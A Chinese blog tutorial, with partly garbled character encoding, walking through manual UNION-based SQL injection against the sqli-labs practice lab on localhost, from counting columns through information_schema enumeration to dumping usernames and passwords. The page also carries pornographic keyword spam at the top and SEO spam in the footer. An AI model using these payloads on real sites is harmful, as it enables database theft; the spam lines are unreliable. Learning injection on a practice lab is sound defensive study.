久久精品人人爽,华人av在线,亚洲性视频网站,欧美专区一二三

sql注入之手工注入的示例分析

176次閱讀
沒有評論

共計 2935 個字符,預(yù)計需要花費 8 分鐘才能閱讀完成。

這篇文章將為大家詳細(xì)講解有關(guān) sql 注入之手工注入的示例分析,丸趣 TV 小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

為了方便說明,我們還是用之前的數(shù)字型的注入點為例來進(jìn)行說明。

得到字段總數(shù)

在前面的介紹中,我們已經(jīng)知道在 http://localhost/sqlilabs/Less-2/?id=1id 是一個注入點。

后臺的 SQL 語句的寫法大致為

select username,password,[....] from table where id=userinput

那么我們通過使用 order by 的語句來判斷 select 所查詢字段的數(shù)目。

那么 payload 變?yōu)椋?/p>

http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....

當(dāng)使用 order by 4 時程序出錯,那么 select 的字段一共是 3 個。

得到顯示位

在頁面上會顯示從 select 中選取的字段,我們接下來就是要判斷顯示的字段是哪幾個字段。

使用如下的 payload(兩者均可) 進(jìn)行判斷。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3 
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3

當(dāng)使用個如上的 payload 時,頁面的顯示如下:

通過如上的頁面顯示就可以知道,頁面中顯示的是第 2 位和第 3 位的信息。

查選庫

在知道了顯示位之后,那么接下來就可以通過顯示位來顯示我們想知道的信息,如數(shù)據(jù)庫的版本,用戶信息等等。那么我們使用如下的 payload 就可以知道相關(guān)的信息。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()

此時頁面的顯示為:

可以看到在頁面上就出現(xiàn)了數(shù)據(jù)庫的版本信息和當(dāng)前使用的數(shù)據(jù)庫信息。

那么接下來我們通過這種方式知道數(shù)據(jù)庫中所有的數(shù)據(jù)庫的名稱。

payload 如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 # 得到第一個庫名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 # 得到第二個庫名
...

查選表名

由于 database() 返回的就是當(dāng)前 web 程序所使用的數(shù)據(jù)庫名,那么我們就利用 database() 來查詢所有的表信息。當(dāng)然在上一步中。我們也已經(jīng)知道當(dāng)前的 database 就是 security。

那么我們構(gòu)造的 payload 如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

這樣我們就得到當(dāng)前數(shù)據(jù)庫下所有的表名了。頁面返回的結(jié)果是:

所以我們知道在當(dāng)前的數(shù)據(jù)庫中存在 4 張表,分別是 emails,referers,uagents,users。

查選列名

在知道了表名之后,接下來我們利用 information_schema.columns 就可以根據(jù)表名來獲取當(dāng)前表中所有的字段。

payload 如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= users 
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users 的十六進(jìn)制)

頁面的顯示結(jié)果如下:

通過這個語句,我們就知道在 users 表中存在 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password 這些字段。但是我本地測試的測試的時候,這個存在一個問題,實際上在 security 數(shù)據(jù)庫的 users 的表中,只有 id,username,password 這 3 個字段,其他的字段都是其他數(shù)據(jù)庫的中 users 表的字段名。

通過上面的 payload,我們也同樣可以知道在 emails,referers,uagents 中的字段名稱。

但是有的時候后臺的代碼可能僅用了使用 where 子句,那么這個時候就無法通過 information_schema.coumns 來得到列名了,這個時候只能夠根據(jù)你自己多年的黑客經(jīng)驗來進(jìn)行猜解了。猜解的方法也是比較的簡單,使用 exists 子句就可以進(jìn)行猜解了。假設(shè)在我們已經(jīng)知道了表名的情況下 (當(dāng)然猜解表名也使用通過 exists 子句來完成)。

猜解的語句如下:

http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)

主要的語句就是 exists(select 需要猜解的列名 from users) 這種句式。如果在 users 表中不存在 uname 列名,則頁面不會顯示內(nèi)容或者是直接出現(xiàn) sql 的錯誤語句。

如下如所示:

下面這個就是猜解到了 users 表中存在的字段。

http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)

猜測在 users 表中存在 username 列,上面的語句程序可以正常第返回結(jié)果,那么壽命在 users 表中確實存在 username 列名。

脫褲

在知道了當(dāng)前數(shù)據(jù)庫所有的表名和字段名之后,接下來我們就可以 dump 數(shù)據(jù)庫中所有的信息了。比如我們下載當(dāng)前 users 表中所有的數(shù)據(jù)。

可以使用如下的 payload:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users

就可以得到 users 表中所有的 username 和 password 的數(shù)據(jù)了,通過這種方式也能夠得到其他表中的數(shù)據(jù)了。

關(guān)于“sql 注入之手工注入的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,使各位可以學(xué)到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。

正文完
 
丸趣
版權(quán)聲明:本站原創(chuàng)文章,由 丸趣 2023-07-28發(fā)表,共計2935字。
轉(zhuǎn)載說明:除特殊說明外本站除技術(shù)相關(guān)以外文章皆由網(wǎng)絡(luò)搜集發(fā)布,轉(zhuǎn)載請注明出處。
評論(沒有評論)
主站蜘蛛池模板: 元阳县| 灌云县| 东阿县| 江达县| 保德县| 台北县| 包头市| 揭东县| 北票市| 金湖县| 山西省| 陇川县| 长乐市| 莆田市| 柳林县| 远安县| 西乡县| 伊春市| 康平县| 平塘县| 婺源县| 青浦区| 尼木县| 手游| 南乐县| 咸丰县| 南岸区| 新建县| 南川市| 如东县| 苗栗市| 浦北县| 天水市| 汕尾市| 土默特左旗| 乌拉特后旗| 常宁市| 长葛市| 雷州市| 钦州市| 金寨县|